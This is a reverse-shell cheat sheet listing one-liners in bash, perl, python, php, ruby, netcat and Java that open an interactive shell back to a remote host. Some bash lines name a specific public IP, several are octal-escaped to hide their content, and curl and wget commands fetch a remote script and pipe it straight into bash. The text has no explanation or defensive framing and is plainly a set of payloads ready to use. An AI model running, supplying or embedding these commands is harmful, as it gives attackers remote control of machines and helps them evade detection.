Reverse Shell

bash:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

/bin/bash -i >& /dev/tcp/116.196.82.241/8888 0>&1
echo '/bin/bash -i >& /dev/tcp/116.196.82.241/8888 0>&1' > /tmp/a.sh

a=$'\057bin\057bash -i \076\046 /dev\057tcp/116.196.82.241/8888 0\076\0461';bash -c "$a"
/bin/bash -i $'\076\046' /dev$'\057'tcp/116.196.82.241/8888 0$'\076\046'1
bash -c $'\057bin\057bash -i \076\046 /dev\057tcp/116.196.82.241/8888 0\076\0461'

curl 116.196.82.241/a.sh | bash
wget -q -O - 116.196.82.241/a.sh | bash
wget -q -O /tmp/a.sh 116.196.82.241/a.sh

perl:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()